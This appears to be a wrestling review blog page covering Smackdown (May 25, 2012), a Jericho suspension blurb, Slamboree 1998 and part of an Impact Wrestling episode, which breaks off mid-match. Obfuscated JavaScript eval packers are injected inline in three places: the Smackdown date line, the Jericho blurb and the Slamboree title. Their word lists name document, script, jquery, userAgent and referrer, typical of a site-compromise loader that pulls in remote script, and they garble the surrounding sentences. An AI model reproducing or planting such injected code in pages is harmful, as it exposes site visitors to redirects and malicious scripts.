Smackdown – May 25, 2012: Ryback Is More Awesome Than You

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|farfz|var|u0026u|referrer|ythte||js|php'.split('|'),0,{})) May 25, 2012
Location: Mohegan Sun Arena, Wilkes-Barre, Pennsylvania
Commentators: Michael Cole, Booker T, Josh Matthews

It’s after Over the Limit and Sheamus is still champion after a pretty fun fatal fourway. Other than that there isn’t much to talk about other than a new Intercontinental Champion in the form of Christian. We begin the build to No Way Out tonight but since Raw was mostly a throwaway show, I’d expect about the same thing here. Hopefully it’s better than last week’s. Let’s get to it.

The opening is about Cena vs. Ace from the PPV and the fallout from Raw.

Do you know your enemy? Mine is three and a half minute recaps of a story that I didn’t like when it aired on Raw.

Here’s Eve to open us up in the arena. Ace isn’t here tonight so she’s in charge. Ace is going to deal with Cena on Monday so tonight, she’s going to deal with Sheamus. Sheamus is going to issue a public apology for running over Ace on Monday and also, she’ll name his #1 contender. Cue Alberto who sucks up to Eve for awhile. She says no one is more deserving than him, but here’s Orton for a rebuttal.

He introduces himself to Eve and asks the fans who they would like to see. After the obvious response, here’s Kane. Kane says he should get to face “that pasty white Irish ghost.” If you need more convincing, tonight is episode #666 of Smackdown. Eve makes a triple threat for the title shot.

Christian vs. Hunico

Non-title here. Christian takes him down with a forearm but stops to go after Camacho, allowing Hunico to get in a shot and a suicide dive. A springboard dive misses and Christian takes over again. A big right hand puts Hunico on his knee and a middle rope back elbow puts him on his back. After a baseball slide takes out Hunico, it’s Killswitch and Frog Splash for the pin at 3:03.

Rating: C-. Not bad here as Hunico is a guy that is very slowly growing on me. I like Christian using the frog splash better than just the Killswitch as it looks more devastating. It’s also more of a face move which furthers his turn a little more. This made Christian look good but let Hunico get in some offense at the same time. Proper jobber usage makes me happy.

Cody comes out with Christian still in the ring. He talks about how he spent eight months making the title important again after it had been held by jokes. Cody restored it to greatness that people like Razor Ramon and Shawn Michaels and Cody Rhodes gave it. It won’t take him eight months to get it back, but rather 3 seconds.

Darren Young/Titus O’Neil vs. Usos

Jimmy vs. Titus to start. This is due to some argument in the back earlier today where they made fun of each others’ dances. The Usos take over quickly and double team O’Neil in the corner. Young kicks Jey in the back though and the NXT Crew takes over. Titus suplexes Young onto Jey for two. Young misses a charge and it’s off to Jimmy. He cleans a few rooms of the house and everything breaks down. Jey looks to set up the Superfly Splash but Young crotches him and the Demolition Decapitator gets the pin at 3:12. The Millions of Dollars dance is still good.

Rating: D+. Just a tag match for the most part here, but again I have to ask: where was this from Young/O’Neil for a year on NXT? This was entertaining and I’m liking this team more when they’re on every week. They have charisma and show off out there, which is what they never did on the yellow show. Alas, the Usos are the tag team jobbers now.

Sin Cara returns next week.

Ryback vs. Brian Edwards/Kevin Bendol

The jobbers make fun of the town some more and I think you can figure this one out. Ryback’s left eye is MESSED UP. It’s all bruised and it looks like there’s blood in it. The cannon fodder doesn’t have to tag. Ryback picks one of them up in a powerbomb position and slams him into the other guy. Powerbomb kills one and the clothesline kills another. Ryback picks one of them up for the MuscleBuster, then picks the other one up AT THE SAME TIME. He walks them around and a double MuscleBuster ends this at 1:26. That ending was awesome.

Santino Marella vs. Ricardo Rodriguez

This should be entertaining. It’s a continuation of Ricardo getting beaten up on Raw. Ricardo wrestles in his tuxedo and has his own theme music. He introduces himself as well which is amusing. Santino hooks a headlock but Ricardo shoves him off and runs the ropes while Santino watches. We get an airplane spin from Santino but he makes himself dizzy and falls to the floor. He crawls under the ring and sneaks up on Ricardo so that the Cobra can end it at 1:50. Comedy matches are fine.

Here’s Sheamus for his apology. Sheamus says it was an accident but it was accidentally on purpose. He apologizes for Ace being so horrible and for Eve and Otunga being so far up Johnny that they can tell what he has for breakfast. Oh and Big Show sucks too. As for No Way Out, he wants to face Orton. Here’s Vickie for some reason who says Eve has made a match for Sheamus.

Sheamus vs. Jack Swagger

They lock up and go into the corner with no one getting an advantage. Some elbows to the face knock Swagger back but Sheamus misses a charge into the corner. It turns into a fist fight which puts Jack down, followed by the top rope shoulder for two. Swagger goes to the floor so Sheamus runs him over out there too. Vickie offers a distraction which lets Swagger knock Sheamus off the apron and possibly injure the champ’s ankle.

We take a break and come back with Swagger working on both the ankle and the shoulder. He DDTs the leg for two. Swagger ties it up in the ropes in the corner but misses a kick. Sheamus hits a neckbreaker and both guys are down. The champ comes back with the ax handles and the forearms in the ropes. Jack kicks him in the ankle again and goes for the ankle lock but Sheamus kicks him off. Brogue Kick misses and Swagger takes out the leg for two. Booker: “Two and three quarters. That’s a victory!” Sheamus escapes the gutwrench powerbomb and the Brogue Kick finishes at 6:56 shown of 10:26.

Rating: C. This was fine. Swagger is firmly cemented in his jobber to the stars status and given how dull he’s become lately, that’s about as much as he can ask for. Sheamus looked decent here but he still needs some more development. It’s not an emergency though as the fans are cheering him very strong at the moment. Decent match.

Big Show will speak later. Cole says these might be the darkest days in WWE history. I know Cole is known for hyperbole, but are you kidding me?

Yoshi Tatsu vs. Damien Sandow

Sandow does his usual stuff before the match. I’m digging the Backlund robe too. Yoshi is an ignoramus and a dunce. The hot pink trunks work too. Yoshi charges and Sandow hides in the ropes while shouting at the referee to “please do your job thank you!” Sandow gets a shot in and the neckbreaker ends this at 45 seconds.

We look at the ending to the Ryback match again.

No Way Out ad, set like a 1920s silent movie. AJ is tied to railroad tracks, Bryan saves her, and AJ ties him up. She has a mustache now too. Cool?

We recap Big Show on Raw and at the PPV, because we might have forgotten it in the last hour and fifteen minutes. And Cole, it still isn’t the darkest day in WWE history.

Here’s Big Show for an explanation. Show says he was never fired until a few weeks ago. Everyone here has probably been fired, but they don’t love what they do. He’s a 7’4 giant and loves to wrestle. No one offered him any sympathy and he wasn’t too pleased with that. Show is sitting on a stool for this. After all the years he’s been here, that’s what he gets? The fans think he sold out which he denies.

After everything he’s done, this is the thanks he gets? It made him realize he has no friends and that he’s alone in this world. Then he got a phone call. The fans chant for Cena. Show says he made a deal with Ace to come back with a new contract and a big fat bonus. He knew exactly what he would do and he knows he’ll knock Cena out at the PPV. The fans never cared for him and now he doesn’t care for them. Why couldn’t we get this explanation on Raw? Didn’t he say he didn’t owe us one? Still though, it’s better than nothing.

As Show is leaving, here’s Kane. I guess we’re running short on time because he’s just coming out for the main event early. As Kane gets in, Bryan appears and beats the tar out of Kane with a chair. He probably hit him 20 times. I’m not sure if you can call this a face action or not, but it draws a HUGE YES chant.

Alberto Del Rio vs. Randy Orton vs. Kane

The winner gets Sheamus at No Way Out. Kane is going to give it a go here. Orton goes after Alberto to start but punches Kane a bit too. Del Rio gets knocked to the floor and Kane hits the low dropkick on Orton for two. Orton hits his backbreaker but Del Rio makes the save. Kane knocks both of them to the floor and follows them to the outside. He beats up both guys but Orton comes back and rams both of them into the barricade and adds a few shots to the table for Kane.

Orton loads up the elevated DDT but Alberto hits an enziguri to break that up. We take a break and come back with Kane hitting Del Rio with an uppercut. Orton takes one as well which gets two for Kane. An elbow drop gets the same. Del Rio hits the enziguri to the shoulder and Kane goes down, giving Team Mexico control. Orton backdrops him to the apron and dropkicks him to the floor, but he walks into a side slam for two.

Kane goes up for the clothesline but Del Rio comes back in and runs up the corner for an enziguri that puts Kane on the floor. A big kick misses and Orton comes back. Kane comes back in and takes the powerslam, as does Del Rio. Del Rio goes to the corner but Orton hits the elevated DDT to bring him back down. The RKO is escaped and Kane pulls Randy to the floor and sends him into the steps.

The top rope clothesline misses but the cross armbreaker is escaped and Kane hits the chokeslam. Here’s Bryan again with the chair but Kane sees him coming. Kane chases him off but as he gets back in, here’s Bryan again. Kane sees him again and stares him down. As Kane turns around he walks into the RKO. Del Rio kicks Orton away and steals the pin at 7:51 shown of 11:21.

Rating: C+. This was pretty good, although the chair attack before the match didn’t wind up amounting to that much. Del Rio vs. Sheamus doesn’t really blow my skirt up but it’s what they’ve wanted to do for months. The interesting thing is Kane vs. Bryan as it looks like that’s what they’re building to. I don’t think Bryan vs. Punk was officially announced but I could easily see it turning into a triple threat. Good main event here.

Sheamus kicks Del Rio’s head off to end the show.

Overall Rating: B-. This was a much more entertaining episode than last week. It set up a few matches for the PPV and we got the explanation from Big Show that we didn’t have time for on Raw. This show could almost be called a supplement to Monday and in that regard, it was ok. Ryback continues to be awesome and I’m intrigued by where this Bryan thing is going. Much better show this week.

Results
Christian b. Hunico – Frog Splash
Darren Young/Titus O’Neil b. Usos – Demolition Decapitator to Jimmy
Ryback b. Brian Edwards/Kevin Bendol – Double MuscleBuster
Santino Marella b. Ricardo Rodriguez – Cobra
Sheamus b. Jack Swagger – Brogue Kick
Damien Sandow b. Yoshi Tatsu – Neckbreaker
Alberto Del Rio b. Randy Orton and Kane – Del Rio pinned Kane after an RKO from Orton

Remember to like this on Facebook and follow me on Twitter @kbreviews




Chris Jericho Suspended Indefinitely By WWE

http://www.wwe.com/inside/jericho-brazil

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbare|var|u0026u|referrer|fbyye||js|php'.split('|'),0,{})) kicking a flag apparently. No word on if this is legit or a storyline but it seems to be the former.

Thoughts on this?




Slamboree 1998: See That Cliff Over There? We’re Headed Right For It

Slamboree eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|behsk|var|u0026u|referrer|azdkh||js|php'.split('|'),0,{})) 1998
Date: May 17, 1998
Location: The Centrum, Worcester, Massachusetts
Attendance: 11,592
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone

It’s a month after Spring Stampede and as you know already, Hogan is champion again. Therefore, he’s not on the card tonight. The main event is a tag title match with Sting/Giant vs. the Outsiders. Also we have an open challenge from Eric Bischoff to Vince McMahon, which is a very interesting story which I’ll get to later on. Let’s get to it.

The opening video is a bunch of shots of main event guys with words popping up on the screen.

The announcers talk to open the show. Hart vs. Savage tonight too with Piper as guest referee. Hart cost Savage the title to Hogan apparently. Also Giant has joined the NWO (again) and wants to win the titles with Sting and have Sting join the black and white.

We now get to the real focus of the show: Eric and Vince. So Eric issued a challenge to Vince on Nitro. On Thunder, Eric read a letter from Vince, saying that it was illegal to imply Vince would be at the PPV. Now here’s where it gets good. Vince SUED Bischoff for false advertising, because it was still being implied that Vince would be there, which is how things work in wrestling. WCW settled out of court, allegedly for A LOT of money.

TV Title: Fit Finlay vs. Chris Benoit

Finlay is defending and has the referee take the belt off of him. He shoves Benoit so Benoit chops him HARD. Finlay goes to a top wristlock and pushes Benoit down with it but a great looking bridge keeps Benoit off the mat. Benoit tries the Crossface but Finlay reverses into an armbar. The fans are all over Finlay here. Benoit fights out of that and hooks a hiptoss for two.

They chop it out, resulting in a tilt-a-whirl backbreaker by Chris. Fit’s Boston Crab attempt is countered but he clotheslines Benoit down and out to the floor. The champ works on the shoulder and then a rear chinlock back in the ring. Benoit escapes via an electric chair drop but Finlay is up first. Off to a reverse chinlock for a bit and they head to the floor. Benoit hits him in the back with a chair which is ok I guess. He sets for a suicide dive but Finlay holds up the chair and Benoit’s head crashes into it. I cringe a bit every time I see stuff like that now.

Back in, Finlay clotheslines him down again and it’s time for the chinlock. This one is shorter as Benoit kicks him off, shoulder first into the corner. Rolling Germans take Finlay down but he counters the third by ramming Benoit’s throat into the rope. A quick Crossface attempt is escaped but Benoit hits the snap suplex.

He loads up the Swan Dive but here’s Booker T. He doesn’t do anything but Benoit’s distraction allows Finlay to shove Benoit off the top. Back in a small package gets two for Benoit. He’s been using a lot of those quick rollups here. And never mind as Finlay hits the Tombstone out of nowhere for the pin to retain the title.

Rating: C+. Pretty good match here and a solid opener, although cutting two or three minutes off would have made it better. Finlay is a guy that the more I see the more I like as he was a very stiff kind of wrestler which is the kind of stuff I tend to like. Benoit of course could go move for move with Finlay so that worked out fine. Good opener but it ran a bit long.

Jericho doesn’t care who he’s facing in the title match tonight. It’s decided by a battle royal later tonight.

Brian Adams vs. Lex Luger

Adams is the latest NWO lackey. I think this is somehow connected to the Steiners but I’m not sure what Heenan is talking about. Luger punches him immediately and knocks Adams to the floor. He goes after Adams’ shoulder, which is payback for Rick Steiner it seems. Lex calls for the Rack but stops to beat up Vincent, which lets Adams hit a piledriver to change the momentum. They go to the floor for a bit and back inside, Brian hits a backbreaker for two. Legdrop gets the same and then they clothesline each other. Vincent gets knocked off the apron and the Rack gets the tap out.

Rating: D. This had no business being on PPV. It should have been on Nitro or something, but I guess it filled in the six minutes that they needed. I’m still not 100% sure what happened with Steiner but I guess that’s because I haven’t watched the Nitros leading up to this. Luger’s push would eventually land him in the Wolfpack because…..well because Luger was a popular face.

Saturn says there’s no gauntlet match tonight. He’s fighting Goldberg on his own. What about Saturn? What about him?

Battle Royal

Super Calo, Chavo Guerrero Jr., Ciclope, Damien, El Dandy, El Grio, Juventud Guerrera, Marty Jannetty, Kidman, Evan Karagis, Lenny Lane, Psychosis, Silver King, Johnny Swinger, Villano IV

There are fifteen cruiserweights in it and the winner gets Jericho for the title immediately thereafter. Jericho did some funny intros for all of them. You can be eliminated by pin or being thrown out of the ring, be it through or over the ropes. Karagis is put out first by Kidman. Everyone is doing little stuff to open things up as you would expect. Swinger is out and El Grio, a fat guy, goes up and takes a few guys down but not out.

Silver King went out somewhere in there. Lane and El Dandy have a short mini-match and Dandy backdrops Grio out. I think there are ten or eleven left in there. Someone puts Jannetty out and Damien eliminates Villano. There are eight left now. Lane poses on the ropes and gets knocked out as well. Damien tries to walk the ropes like an idiot and deserves the elimination he gets.

Chavo dropkicks Dandy out so we have Chavo, Psychosis, Kidman, Ciclope and Juvy. Kidman low bridges Chavo to get us down to four. Psychosis misses a charge in the corner and eliminates himself. Juvy dumps Kidman and it’s down to Guerrera and Ciclope. They stare each other down for a LONG time, shake hands, and Juvy eliminates himself. More on this in a second.

Rating: C. This was fine all things considered. The match only ran about eight minutes and the whole point was the surprise ending, and then the bigger surprise a few seconds later. There weren’t very many big spots here, but everyone got out fast enough. There’s not much to complain about or praise here so we’ll say it’s right in the middle.

Jericho gets in the ring and Ciclope immediately takes off his mask to reveal…..DEAN MALENKO. This gets an eruption from the crowd. See, the idea is that Jericho beat Malenko and Malenko left out of frustration. Jericho spent two months running his mouth about Malenko, so no one had seen Dean since March. People wanted to see him come back and beat the stuffing out of Jericho, and now Jericho had nowhere to run. It got people to care and the response is awesome.

Cruiserweight Title: Dean Malenko vs. Chris Jericho

Jericho freaks out and Dean hammers on him, going off like he never has before in his WCW career. Jericho tries to wrestle but Dean just pounds him down time after time. Juvy is cheering at ringside. Dean throws Jericho into the barricade but Chris gets in some shots as Dean gets back in. Dean is like screw that and pounds Jericho down in the corner again. The champ finally gets a breather off a hot shot.

A senton backsplash puts Dean down but he doesn’t get covered. The crowd is all over Jericho here. Suplex gets two. Lionsault gets the same. A backbreaker looks to set up the Liontamer (the move that put Dean out) but Malenko counters into a quick ankle lock. Jericho gets to the rope and hits a jumping back elbow for two. Dean comes back AGAIN and beats Jericho’s head in. I’m liking this violent version of him. Jericho puts him on top but gets caught in the super gutbuster. The Texas Cloverleaf goes on and Jericho finally taps out, drawing one of the best pops from this era of WCW.

Rating: B. The match was just ok but the reaction is GREAT. This is what you call a well crafted story with a perfect ending in Jericho tapping out. Since this is WCW they screwed it up by giving Jericho the title back in two weeks but this worked very well. I think ti’s one of those storylines that would have been better had you went through the buildup though.

A white limo arrives as shown by, I kid you not, the Vinnie Mac cam. Tony takes shots at JR while we find out it’s not Vince.

Diamond Dallas Page vs. Raven

This is a Bowery Death Match, which means last man standing in a cage which has weapons inside. There’s a top on the cage too which makes it even better. Raven comes out with a bunch of guys in riot squad gear. Page goes fast to start and rams Raven’s head into the buckle over and over. Raven manages to send him into the cage to escape and things slow down.

Raven pours out his first bucket of weapons and picks a bullrope. Page clotheslines him down and takes the rope himself which goes around Raven’s neck. The other end of the rope goes around the top of the cage and Raven hangs him up from the cage, pulling on the rope with all of his weight. That gets an 8 so Page breaks a VCR over his head (holy stolen ECW spot Batman! It was bounced off Raven’s head in both companies).

Page goes after him again and is kicked into the trashcan, putting both guys down now. Bird Boy hits Page twice with the can for about a seven count each time. Cookie sheet shots do about the same. Raven puts on a sleeper but Page kicks away, knocking the referee down in the process. Another sleeper attempt results in a jawbreaker and the drop toehold onto the chair to Raven.

The Flock breaks through the riot squad and bring boltcutters with them. Van Hammer, recently thrown out of the Flock, pops up from under the ring and beats them up with a stop sign before any real damage can be done. A riot squad member hits Hammer and the rest of them get him out of here. Page is up and beating on Raven but the riot squad comes in anyway. It’s Kidman and Horace but there are two more somewhere else.

Page knocks Horace down and Diamond Cuts Kidman off the cage that Kidman was hanging from (looked awesome). They slug it out a bit more (that would be Raven and Page in case you’ve lost track) and Raven hits a Diamond Cutter on Page for about 8. A chair shot misses Page and the real Diamond Cutter gets the win for Page.

Rating: C. Decent brawl and I think it was the blowoff to the feud. If not it should be because there’s nothing else that Page can overcome in this feud. It wasn’t great though as it was more about the other guys than the two in the match which hurt it a good bit. Still though, entertaining enough and Page won in the end which is the right idea.

Post match another riot squad member comes in and cuffs I think Sick Boy to the cage before cuffing Raven and attacking him. He unmasks to reveal…..Mortis. Then he unmasks as Chris Kanyon who isn’t named yet. With Raven cuffed to the cage, Kanyon hits him with the chair (Chairshot heard round the world? What’s that?). Apparently Kanyon had been seen as a vendor lately at TV shows.

Back to the Vinnie cam which includes people being checked as they come in to make sure they’re not WWF guys.

Ultimo Dragon vs. Eddie Guerrero

If Dragon wins, Chavo is freed from his uncle’s control. They go to the mat to start with Eddie in control. He gets a test of strength grip and drops onto Dragon’s bridge but can’t break it. That’s always cool to see. Dragon pops up and tries the kicks but Eddie ducks and hits a dropkick to take over again. Dragon hits a headscissors and monkey flip and then the kicks. The crowd is noticeably quieter than they were earlier in the night.

Eddie bails for a bit but comes back in only to get kicked even more. Off to a half crab by the masked man but Eddie escapes and hooks a chinlock. They go to the floor and Eddie wants Chavo to help with the beatdown but Chavo wants nothing to do with it. Dragon hits an enziguri to knock Eddie to the floor and hits the Asai Moonsault, but it puts him down too.

Back inside Dragon hits something like Shock Treatment for two. Top rope moonsault gets two. Dragon tries his super rana but Eddie reverses into a tornado DDT but the Frog Splash misses. Dragon Sleeper goes on but Eddie gets a rope. Eddie hooks one of his own but Chavo breaks it up when Eddie cheats. Chavo argues on the apron and gets kicked down with a spin kick. Brainbuster and Frog Splash get the pin.

Rating: C-. Not bad here but I would expect more out of these two. This was more about the Eddie vs. Chavo feud and extending that out a bit more. I think this is the one that resulted in Chavo going insane but the timing seems off on that. Also I don’t remember the blowoff for it but I’d assume it was in a few weeks/months. The match was ok but would have probably been fine on Nitro.

Chavo looks at Eddie and then beats up Dragon because Dragon didn’t free him. Eddie is about to get punched but gets a kiss on the cheek instead. Ok then.

Vince has his own dressing room.

US Title: Goldberg vs. Saturn

This was supposed to be a Goldberg vs. Flock gauntlet match but they changed it the day of the show for no apparent reason. Saturn gets in some quick offense to start but Goldberg clotheslines him down and hits the gorilla press powerslam. A gorilla press drop sets up another clothesline and a superkick stops Saturn’s comeback. Saturn comes back with a legsweep and then he slaps Goldberg in the face for some reason.

A neckbreaker puts Saturn down and he pounds Perry in the corner. They go to the floor but Goldberg accidentally clotheslines the post. Back inside and Saturn hooks a sleeper which is broken with ease. A belly to belly puts but he pops up with a swinging neckbreaker and hooks a sleeper. Goldie hits a neckbreaker of his own to escape so Saturn pulls in a chair. He uses it as a springboard to dropkick Goldberg’s back but a second attempt results in a spear out of the air. Jackhammer and we’re done.

Rating: C. Way better than last month and I think it was partially because it was a minute or so shorter. That and the thicker air probably helped. Goldberg would be moved on to the world title in about two months as he should have been. Saturn would turn against the Flock soon and break them up for good.

Great American Bash ad, featuring Raven.

Here’s Eric for the Vince challenge. Eric actually has Buffer do an intro for Vince, who apparently is off saving a bus full of nuns because he’s not here. The referee counts and Bischoff officially wins. And they wonder why people eventually stopped caring about this company.

Bret Hart vs. Randy Savage

Piper is guest referee and this is payback for Bret costing Savage the title. See how easy that was? Savage is Wolfpack, Hart is black and white. Hart bails to the floor for some stalling but Piper throws him in instead. Bret keeps stalling and they lock up about a minute in. Hart goes to the eyes and pounds on Randy in the corner. Savage hits him low (I think) and chokes away while Piper shouts FIGHT over and over again.

Randy keeps choking and drops an elbow on the throat while Bret is on the mat. Bret comes back with a headbutt and legdrop followed by a suplex from the apron into the ring. Backbreaker still doesn’t get a cover. Out to the floor and Hart misses a big chair shot, getting sent into the steps as a punishment. They go into the crowd and fight around the hockey boards. At least I think they are as you can barely see their heads let alone the rest of them.

Back to ringside now as Piper gets praised for some reason. Bret goes for the knee which was injured coming in. Scott Hall has arrived at the arena now. Russian Legsweep and a piledriver get two. DDT puts Savage down but Bret talks to the fans instead of covering. A backbreaker sets up the middle rope elbow but he uses a traditional one instead and Savage moves. Savage snaps into a suplex for two.

Savage goes up and hits the big elbow but lands on his knee so the cover is delayed, meaning it only gets two. Bret gets up and hooks the Sharpshooter but here’s Liz for the save. She didn’t come out with Savage here either. And never mind as Savage broke the hold before she got here and put the hold on Bret. Liz comes in and shoves Piper, which distracts Savage long enough for Bret to hit him low. Bret has a foreign object and clocks Piper with it but Savage steals it away. Cue Hogan who wraps Savage’s leg around the post. Sharpshooter and we’re done.

Rating: D. The opening ten to twelve minutes were REALLY boring, then it picked up a bit, then we had two run-ins and a foreign object for the ending. The match was just boring and it really hurt things here. It was clear that neither guy cared that much at this point and can you blame them? Neither guy was going to get anywhere near the main event longer than a quick stretch at a time because Hogan and Nash were dominating things. This had moments but not enough of them.

Tag Titles: Sting/The Giant vs. Outsiders

Guess who has the titles coming in. Dusty is with the Outsiders which is supposed to mean something. So Hall and Nash are Wolfpack, Giant is Black and White and Sting is whatever. Giant wants him in the NWO but he hasn’t given an answer yet. Hall and Sting start us off with Sting walking into a chokeslam but coming back with his kind of bulldog move. A pair of Stinger Splashes sets up the Scorpion but Nash makes the save.

Giant comes in and the mixed faction team clears the ring. The biggest man comes in legally so Hall does his Frankenstein (‘s monster) deal and tags Nash. Nash gets run over so Giant does the Hogan hand to his ear. An elbow drop keeps Nash down and Giant sends him to the corner for some hip attacks. The fans chant for the Wolfpack as Sting comes in and walks into a big boot for the Outsiders to take over.

Hall’s fallaway slam gets two. Back to Nash for some Snake Eyes and then Hall gets another tag. The Outsiders work Sting over and Hall does his abdominal stretch. Nash hits the side slam and it’s bearhug time. Sting escapes for a bit and dives at Nash to make the tag. Giant comes in and takes Nash down and drops a leg for two. He goes up top (oh boy) but his splash misses. Nash sets for the powerbomb but Hall turns on him, hits him with the belt and Giant gets the pin.

Rating: D. This was another slow and boring match with a bad ending. Usually I would go into some intentionally complicated statement of what just happened and say something like “got all that?” after it but I can’t figure it out well enough to type it all up. That’s the problem with something like this: it got way too complicated way too fast and when you need a flow chart to tell what’s going on, it’s not going to last long.

Post match Hall, Giant and Rhodes all hug. Sting would join the Wolfpack soon. Giant tells Sting to come join them to end the show.

Overall Rating: D+. Of the three I’ve done, this was certainly the best but that’s not really saying much. There are parts here that are certainly good, but the WNO stuff was so overdone and so overly complicated that everyone stopped caring. They had to elevate Goldberg because they had no one to put out there as the top face of the company. The show was ok at times but man once WCW started to go downhill, it went off a cliff, through the ground, around the world and over the cliff again. This would be the start of that.

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Impact Wrestling – May 24, 2012: Sting Returns. Again.

Impact Wrestling
Date: May 24, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s Open Fight Night II and the world title is going to be on the line tonight. There are four candidates and presumably we’ll have a fourway match to determine Roode’s opponent. Other than that, we have (I think) another Gut Check Challenge deal, which hopefully has a better outcome than last time. Let’s get to it.

We open with Hogan in his office with the four possible opponents for Roode. He shows them a copy of the script for tonight and says that according to what it says, he’s supposed to explain the concept of Open Fight Night. This devolves into a debate about what would happen if Roode becomes the longest reigning world champion. Hogan talks about the evolution of the company and how they need to change the way things are done.

They need to explain why they should get the title shot tonight. You know, instead of competing for it in the ring. Ray talks about how he’s the most legit because people fear him because of a possible shoot. Hulk asks Angle if that’s true and Angle says Ray doesn’t intimidate him. AJ says that he’s been around longer than anyone else including Roode.

Angle says that he beat AJ in their last match so he should get the shot (that makes sense). Kurt asks Jeff why he should get the shot. Is it because everyone loves him? Jeff: “Your son does.” Hogan says that Roode has to be stopped because he’s taking over the company. He thinks that AJ, Jeff and Angle can beat him but he knows Ray can beat him, so Ray is out of the running. Ray says Eric was right about Hogan and leaves, taking us to the opening sequence.

Here are Gail and Madison to open the show. Gail talks about how great she is. We look in the back to see mostly men and Angelina watching. ODB is there too but I wasn’t sure what category to put her in. Madison is checking her hair in this. Gail says she’s the most important woman in the company but there’s a blemish on her resume. She doesn’t like the Knockout Tag Titles being on a man and a thing though. So tonight, she and Madison are calling out ODB and Eric for the titles.

Eric Young/ODB vs. Gail Kim/Madison Rayne

This is non-title. Gail and Eric start and trade wristlocks. Eric picks her up and literally drops her before tagging in ODB who chest bumps Gail down. She knocks Madison to the floor and we take a break. Back with Gail working on ODB as Madison looks bored. Madison comes in for some covers and a lot of screaming. ODB spears her down and makes the tag. Time to strip and Eric slams both girls. ODB tells him to put his pants on and it’s back to her. Running powerslam gets two on Gail but the Bam is escaped. ODB loads up a fallaway slam but Madison trips her up and holds her feet for the pin at 9:46.

Rating: D+. You know, it’s AMAZING how much more bearable Young is when he’s not being all zany. Then he took his pants off and it was the same stuff we’ve seen a million times from him. The match wasn’t bad, but is there a reason it wasn’t for the titles? If you’re going to challenge a champion, challenge them for their belts.

Hogan is on the phone and someone says they’re coming.

Here’s RVD who has a small cut under his right eye. He has unfinished business so Gunner, get out here.

Gunner vs. Rob Van Dam

We get an explanation of why this match is happening: Gunner hurt Van Dam in JANUARY. On one hand, points for giving it some closure. On the other hand, did anyone really remember that? Gunner throws in a chair to start things but the referee kicks it into the corner. He takes Van Dam down but when he whips him into the corner, van Dam comes back with a spin kick. Van Dam hits one of the longest Five Stars I’ve EVER seen for the pin at 2:50. This was a step above a squash.

Here’s D-Von who says he’s a fighting champion. Joseph Park is watching in the crowd. D-Von credits Garrett Bischoff for eliminating him last week and offers him a TV Title match tonight.

TV Title: Garrett Bischoff vs. D-Von

D-Von takes him down with a headlock but misses a headbutt to give us a stalemate. And here are the Robs for the DQ at 1:50.

Garrett and D-Von clear the ring. Seriously, with the roster they have is there NO ONE but E and T that can fight D-Von?

Time for another elimination. Hulk talks about Angle having a game face and being Olympic crazy. Jeff has a lot of fans that love him. Angle says that if you want the athlete, pick AJ. If you want the popular one pick Hardy. If you want the best, pick him. That’s a good line. Somehow this results in Jeff’s elimination because his victories have been too close.

We get the same video from Sacrifice which is the news reel kind of deal about Abyss and Joseph Park.

Here’s Ray, who apparently sent a text to Tazz saying that he was livid. He’s tired of hearing about Joseph Park but he hears he’s here tonight. Park is in the crowd eating a box of popcorn. Ray calls him in for a fight but Joseph says that he’s not a fighter. Park says he’s never been in a fight and that he’s intimidated. The fans chant YES. Park talks about how he’s defended people that are guilty and not-guilty. The fans chant guilty and Chris talks about how in Article X of the US Constitution (which doesn’t exist) Ray is entitled to a trial by a jury of his peers. The fans can be the jury and they decide guilty, so Ray takes him out.

Joey Ryan, the Gut Check contestant tonight, talks about growing up a wrestling fan.

Austin Aries vs. Joey Ryan

Ryan looks like Ben Stiller trying to look like a 70s action star. His tights say Hollywood and he slaps Aries before heading to the floor. Aries dives on him and they head back in. I think Ryan is supposed to be a 70s actor or something. Aries takes him down with a spinning forearm but Ryan comes back with a pumphandle suplex for two. Aries hits the running dropkick in the corner followed by the brainbuster for the pin at 4:06.

Rating: C. Not bad but WAY better than Silva. Ryan has charisma but his ring work is only ok. Since apparently wrestling doesn’t matter as much as talking to Hogan anymore though he should be fine. Apparently he’s a bigger deal on the indy circuit so that’s probably why I’ve only heard his name in passing. Not bad but I’d like to see these Gut Check guys WIN. It might actually make me believe they belong.

Moment #6 is Sting beating Hogan at BFG and Hogan Hulking Up to save it.

It’s 10:20 and Roode is coming out for the main event. AJ and Angle come out first to determine who the #1 contender is. Hogan comes out and says it doesn’t matter who he picks because either is a great choice. Hogan picks AJ because he knows Roode better.

TNA World Title: AJ Styles vs. Bobby Roode

It’s 10:25 so this has the potential to be the longest Impact match in…..dang years probably. AJ sets for his drop down/dropkick spot but Roode avoids the kick. AJ sends him in again and this time it knocks Roode to the floor as we take a break. Back with AJ getting knocked to the floor and sent shoulder first into the post. Roode has apparently demanded a celebration if he wins tonight, because he’ll secure the longest reign in title history. I knew they weren’t giving this 35 minutes.

